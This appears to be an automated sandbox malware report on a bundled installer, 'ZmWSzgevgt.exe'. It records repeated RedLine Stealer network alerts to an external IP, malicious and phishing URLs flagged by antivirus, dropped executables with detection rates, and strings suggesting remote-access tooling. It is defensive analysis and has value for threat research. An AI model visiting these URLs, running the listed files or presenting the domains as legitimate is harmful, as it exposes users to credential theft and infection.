Source Port:	50289
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350326812046045 12/06/23-14:36:40.988661
SID:	2046045
Source Port:	50326
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350332812046045 12/06/23-14:36:44.925833
SID:	2046045
Source Port:	50332
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350271812046045 12/06/23-14:36:04.130647
SID:	2046045
Source Port:	50271
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350360812046045 12/06/23-14:37:06.208022
SID:	2046045
Source Port:	50360
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350354812046045 12/06/23-14:37:01.103024
SID:	2046045
Source Port:	50354
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.5 - Destination IP: 37.1.198.251

Timestamp:	192.168.2.537.1.198.25150133802839343 12/06/23-14:33:45.067270
SID:	2839343
Source Port:	50133
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350265812046045 12/06/23-14:36:00.212175
SID:	2046045
Source Port:	50265
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350259812046045 12/06/23-14:35:56.113850
SID:	2046045
Source Port:	50259
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350348812046045 12/06/23-14:36:57.105195
SID:	2046045
Source Port:	50348
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350337812046045 12/06/23-14:36:49.902555
SID:	2046045
Source Port:	50337
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350295812046045 12/06/23-14:36:20.371059
SID:	2046045
Source Port:	50295
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350343812046045 12/06/23-14:36:53.852752
SID:	2046045
Source Port:	50343
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350260812046045 12/06/23-14:35:56.768169
SID:	2046045
Source Port:	50260
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350302812046045 12/06/23-14:36:24.976708
SID:	2046045
Source Port:	50302
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZmWSzgevgt.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://mysoftwareusa.info/stats/3/0/0	Avira URL Cloud: Label: malware
Source: https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	Avira URL Cloud: Label: malware
Source: https://sizestep.online/tracker/thank_you.php?trk=2598	Avira URL Cloud: Label: phishing
Source: http://send.planewool.xyz/track_polos.php?tim=1701869569&rcc=US&c=2598&p=0.9	Avira URL Cloud: Label: phishing
Source: http://mysoftwareusa.info/archives/7	Avira URL Cloud: Label: malware
Source: http://mysoftwareusa.info/stats/3/1/0	Avira URL Cloud: Label: malware
Source: http://sparksteam.site/	Avira URL Cloud: Label: malware
Source: http://mysoftwareusa.info/archives/5	Avira URL Cloud: Label: malware
Source: https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i	Avira URL Cloud: Label: malware
Source: http://sparksteam.site/Q	Avira URL Cloud: Label: malware
Source: http://sparksteam.site/pill.phpSm	Avira URL Cloud: Label: malware
Source: http://send.planewool.xyz/track_uki.php?tim=1701869569&rcc=US&c=2598&p=0.92	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe

Avira: detection malicious, Label: PUA/Microleaves.A

Multi AV Scanner detection for dropped file

Source: 680b04.rbf (copy)	ReversingLabs: Detection: 54%
Source: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	ReversingLabs: Detection: 44%
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	ReversingLabs: Detection: 54%
Source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\cd2f845e419388478df81bc59730a20b.tmp	ReversingLabs: Detection: 21%
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part	ReversingLabs: Detection: 26%
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	ReversingLabs: Detection: 59%
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a3.exe	ReversingLabs: Detection: 30%
Source: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe	ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: ZmWSzgevgt.exe

ReversingLabs: Detection: 29%

Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004F2740 CreateFileW,GetLastError,CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,ReadFile,CryptHashData,GetLastError,CryptDestroyHash,CryptReleaseContext,CloseHandle,	31_2_004F2740
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004F2600 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptDestroyHash,CryptReleaseContext,	31_2_004F2600
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004F2B40 GetLastError,CryptGetHashParam,GetLastError,GetLastError,CryptGetHashParam,GetLastError,GetLastError,CryptDestroyHash,	31_2_004F2B40
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004F2C30 CryptDestroyHash,	31_2_004F2C30
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004F2C90 CryptReleaseContext,	31_2_004F2C90
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004F2CB0 CryptReleaseContext,	31_2_004F2CB0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004F2D20 CryptDestroyHash,	31_2_004F2D20
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004F2ED0 CryptReleaseContext,	31_2_004F2ED0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004FAED0 CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptReleaseContext,CryptHashData,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,GetLastError,CryptReleaseContext,CryptReleaseContext,	31_2_004FAED0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004FB1A0 CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptReleaseContext,CryptHashData,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,GetLastError,CryptReleaseContext,CryptReleaseContext,	31_2_004FB1A0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004FB520 CryptAcquireContextW,	31_2_004FB520
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004FB6A0 CryptAcquireContextW,	31_2_004FB6A0

Source: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7&response_type=id_token+code&nonce=5a096d9b-0b97-43de-80b2-162cb20ae6f0&redirect_uri=https%3a%2f%2fwww.bing.com%2forgid%2fidtoken%2fconditional&scope=openid%20email%20profile%209ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7/.default&response_mode=form_post&instance_aware=true&msafed=0&prompt=none&state=%7b%22ig%22%3a%220334BD64380C44E381F55025227D9087%22%7d

HTTP Parser: Number of links: 0

HTTP Parser: Title: Redirecting does not match URL

Source: https://www.bing.com/secure/Passport.aspx?popup=1&ssl=1	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7&response_type=id_token+code&nonce=5a096d9b-0b97-43de-80b2-162cb20ae6f0&redirect_uri=https%3a%2f%2fwww.bing.com%2forgid%2fidtoken%2fconditional&scope=openid%20email%20profile%209ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7/.default&response_mode=form_post&instance_aware=true&msafed=0&prompt=none&state=%7b%22ig%22%3a%220334BD64380C44E381F55025227D9087%22%7d	HTTP Parser: No favicon

HTTP Parser: No <meta name="author".. found

HTTP Parser: No <meta name="copyright".. found

Source: ZmWSzgevgt.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49715 version: TLS 1.0

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Window detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Welcome this is an important message and license agreement so please read all below carefully. river-city-rival-showdown-trainer-15-v1-8-.exe is financed by advertisement. By clicking Accept you will continue with the installation of river-city-rival-showdown-trainer-15-v1-8-.exe and the offers listed below.Inlog Browser is fast and secure web browser which does not collect your usage data.By clicking "Accept" I agree to the HYPERLINK "https://www.inlogbrowser.com/eula.txt"EULA HYPERLINK "https://www.inlogbrowser.com/pp.txt"Privacy Policy and consent to install Inlog Browser. This program can be removed at anytime in Windows Add/Remove Programs.your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the HYPERLINK "https://advancedmanager.io/eula"EULA and HYPERLINK "https://advancedmanager.io/privacy-policy"Privacy Policy by pressing "Agree". A proxy service to protect your privacy. Accept the HYPERLINK "https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe"EULA by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the HYPERLINK "http://www.thedownloadplanet.com/termsofuse"EULA and consent to install.an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the HYPERLINK "https://legal.opera.com/eula/computers/"EULA HYPERLINK "https://legal.opera.com/privacy/"Privacy Policy and consent to install.- Build a better digital experience with data-driven resultsLet us help your business optimize its performance perform more efficiently and maximize profit to make more strategically-guided decisions. By clicking "Accept" I agree to the HYPERLINK "https://staranalytics.io/EULA.html"EULA and consent to install.proceeding with the installation you agree to the HYPERLINK "https://digitalpulsedata.com/tos"EULA grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none of your personal information will be accessed or collected except for your IP address. This is a strict policy.I &accept the agreementI &do not accept the agreement&NextCancel
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Window detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Welcome this is an important message and license agreement so please read all below carefully. river-city-rival-showdown-trainer-15-v1-8-.exe is financed by advertisement. By clicking Accept you will continue with the installation of river-city-rival-showdown-trainer-15-v1-8-.exe and the offers listed below.Inlog Browser is fast and secure web browser which does not collect your usage data.By clicking "Accept" I agree to the HYPERLINK "https://www.inlogbrowser.com/eula.txt"EULA HYPERLINK "https://www.inlogbrowser.com/pp.txt"Privacy Policy and consent to install Inlog Browser. This program can be removed at anytime in Windows Add/Remove Programs.your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the HYPERLINK "https://advancedmanager.io/eula"EULA and HYPERLINK "https://advancedmanager.io/privacy-policy"Privacy Policy by pressing "Agree". A proxy service to protect your privacy. Accept the HYPERLINK "https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe"EULA by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the HYPERLINK "http://www.thedownloadplanet.com/termsofuse"EULA and consent to install.an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the HYPERLINK "https://legal.opera.com/eula/computers/"EULA HYPERLINK "https://legal.opera.com/privacy/"Privacy Policy and consent to install.- Build a better digital experience with data-driven resultsLet us help your business optimize its performance perform more efficiently and maximize profit to make more strategically-guided decisions. By clicking "Accept" I agree to the HYPERLINK "https://staranalytics.io/EULA.html"EULA and consent to install.proceeding with the installation you agree to the HYPERLINK "https://digitalpulsedata.com/tos"EULA grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none of your personal information will be accessed or collected except for your IP address. This is a strict policy.I &accept the agreementI &do not accept the agreement&NextCancel

Source: C:\Windows\SysWOW64\expand.exe

File opened: C:\ProgramData\regid.1993-06.com.microsoft\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.198.151:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.23.108.224:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.38.232:443 -> 192.168.2.5:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.109:443 -> 192.168.2.5:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.38.232:443 -> 192.168.2.5:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.100:443 -> 192.168.2.5:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.38.232:443 -> 192.168.2.5:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.38.232:443 -> 192.168.2.5:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.138:443 -> 192.168.2.5:50188 version: TLS 1.2

Source: ZmWSzgevgt.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: wininet.pdb source: a1.exe, 00000014.00000003.2353431592.0000000005933000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2567783357.0000000002AC6000.00000004.00000020.00020000.00000000.sdmp, shi4D3B.tmp.33.dr
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Decoder.pdb source: v113.exe, 00000020.00000003.2558249286.0000000001331000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Decoder.pdb2 source: v113.exe, 00000020.00000003.2558249286.0000000001331000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\bin\x86\embeddeduiproxy.pdb source: v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1402\1402\client32\release_unicode\client32.pdb source: wmiprvse.exe, 0000000E.00000002.4543369015.0000000000402000.00000002.00000001.01000000.00000011.sdmp, wmiprvse.exe, 0000000E.00000000.2226521290.0000000000402000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\Prereq.pdbo source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\AICustAct.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, MSIF8B5.tmp.20.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb source: v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\ShortcutFlags.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb\ source: v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\ExternalUi.pdbh source: v113.exe, 00000020.00000000.2555915607.00000000005A8000.00000002.00000001.01000000.00000022.sdmp, v113.exe, 00000020.00000002.2749711024.00000000005A8000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\ShortcutFlags.pdb: source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\ExternalUi.pdb source: v113.exe, 00000020.00000000.2555915607.00000000005A8000.00000002.00000001.01000000.00000022.sdmp, v113.exe, 00000020.00000002.2749711024.00000000005A8000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: msvcr100.i386.pdb source: wmiprvse.exe, 0000000E.00000002.4557171856.000000006F821000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\Prereq.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\SoftwareDetector.pdbb source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr
Source:	Binary string: D:\ReleaseJob\win\Release\bin\x86\embeddeduiproxy.pdb source: a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\lzmaextractor.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\SoftwareDetector.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: wmiprvse.exe, 0000000E.00000002.4558342201.000000006F902000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Decoder.pdb5 source: a1.exe, 00000014.00000003.2300556158.00000000011B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wininet.pdbUGP source: a1.exe, 00000014.00000003.2353431592.0000000005933000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2567783357.0000000002AC6000.00000004.00000020.00020000.00000000.sdmp, shi4D3B.tmp.33.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdb source: v113.exe, 00000020.00000002.2754964724.000000006A0DC000.00000002.00000001.01000000.00000024.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: wmiprvse.exe, 0000000E.00000002.4556884096.000000006BF4E000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: E:\jenkins\workspace\ktop-agent_release_PDFY23FEB_1.0\target\Windows\x64\bin\Release\Setup\ODISSDK.pdb source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbg source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\DataUploader.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, MSI232D.tmp.21.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\DataUploader.pdb] source: a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, MSI232D.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdbu source: v113.exe, 00000020.00000002.2754964724.000000006A0DC000.00000002.00000001.01000000.00000024.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Decoder.pdb source: a1.exe, 00000014.00000003.2300556158.00000000011B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\ShortcutFlags.pdb> source: MSICDCA.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler2.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\ShortcutFlags.pdb source: MSICDCA.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\Prereq.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\ExternalUi.pdb source: a1.exe, 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmp, a1.exe, 00000014.00000000.2293954187.00000000003CC000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Updater.pdb source: a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000000.2464786047.000000000010F000.00000002.00000001.01000000.0000001F.sdmp, Windows Updater.exe, 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmp, Windows Updater.exe, 0000001F.00000000.2490617137.000000000059F000.00000002.00000001.01000000.00000021.sdmp, Windows Updater.exe, 0000001F.00000002.2920934218.000000000059F000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\InstallerAnalytics.pdbz source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmp, MSIB1F8.tmp.21.dr, MSI12C7.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\Prereq.pdbb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: wmiprvse.exe, 0000000E.00000002.4556884096.000000006BF4E000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\aischeduler2.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, MSI80A8.tmp.21.dr, MSI80A7.tmp.21.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: wmiprvse.exe, 0000000E.00000002.4557866506.000000006F8E5000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: E:\jenkins\workspace\ktop-agent_release_PDFY23FEB_1.0\target\Windows\x64\bin\Release\Setup\ODISSDK.pdb~ source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: f:\mydev\inno-download-plugin\unicode\idp.pdb source: setup.tmp, 00000004.00000002.4557123919.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4559208924.000000001002F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\InstallerAnalytics.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmp, MSIB1F8.tmp.21.dr, MSI12C7.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\lzmaextractor.pdb source: v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Updater.pdb source: v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp

